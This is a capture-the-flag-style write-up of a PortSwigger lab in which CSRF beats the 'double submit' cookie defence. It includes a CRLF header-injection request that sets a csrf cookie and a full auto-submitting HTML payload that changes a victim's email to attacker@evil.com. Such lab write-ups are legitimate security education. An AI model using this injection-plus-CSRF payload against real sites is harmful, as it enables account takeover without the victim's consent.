CSRF where token is duplicated in cookie
CSRF where token is duplicated in cookie: This lab’s email change functionality is vulnerable to CSRF. It uses the insecure "double submit" CSRF prevention technique. • PortSwigger • CSRF • csrf, lab6
🎯 Objective
This lab’s email change functionality is vulnerable to CSRF.
It uses the insecure "double submit" CSRF prevention technique.
Goal: Use the exploit server to host an HTML page that changes the victim’s email address.
🧭 Testing CSRF Token Behavior
During testing, the following checks were performed:
- Remove the CSRF token to see if the request is accepted.
- Change
POSTtoGETand verify if CSRF tokens are tied to sessions. - Submit an invalid CSRF token.
- Submit a valid CSRF token from another user.
- Submit a valid CSRF token with cookie from another user.
🔎 Exploit Method
The application tied CSRF validation to a cookie-based token.
By injecting a custom cookie via the search function, it was possible to overwrite the CSRF token.
Example Request
GET /?search=ko%0d%0aSet-Cookie:%20csrf=123 HTTP/1.1
Host: 0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net
Cookie: session=njGRRr2UZqRdTqo5WvHCExFeFN4Tvl2x; csrf=4Tj1xttyGkQfhpIzee5Ka2ide0Q44k3K;
LastSearchTerm=x%0d%0aSet-Cookie:+csrf=123Response
HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=ko
Set-Cookie: csrf=123; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
Connection: closeAs shown, the server sets the cookie:
csrf=123📄 Exploit Payload
By combining the cookie injection and CSRF form submission, the following HTML payload was hosted on the exploit server:
<html>
<body>
<form action="https://0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="csrf" value="test" />
</form>
<script>
history.pushState('', '', '/');
// Force victim to set the CSRF cookie
var img = new Image();
img.src = "https://0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net/?search=ko%0d%0aSet-Cookie:%20csrf=test";
// Submit the form automatically
document.forms[0].submit();
</script>
</body>
</html>📸 Evidence
✅ Result
- Successfully set the CSRF cookie to a predictable value.
- Exploit form submission bypassed CSRF validation.
- Victim’s email was changed without their consent.
💡 Key Takeaway
- The double submit cookie pattern is insecure when cookies can be overwritten.
- Always bind CSRF tokens to the user session and validate server-side.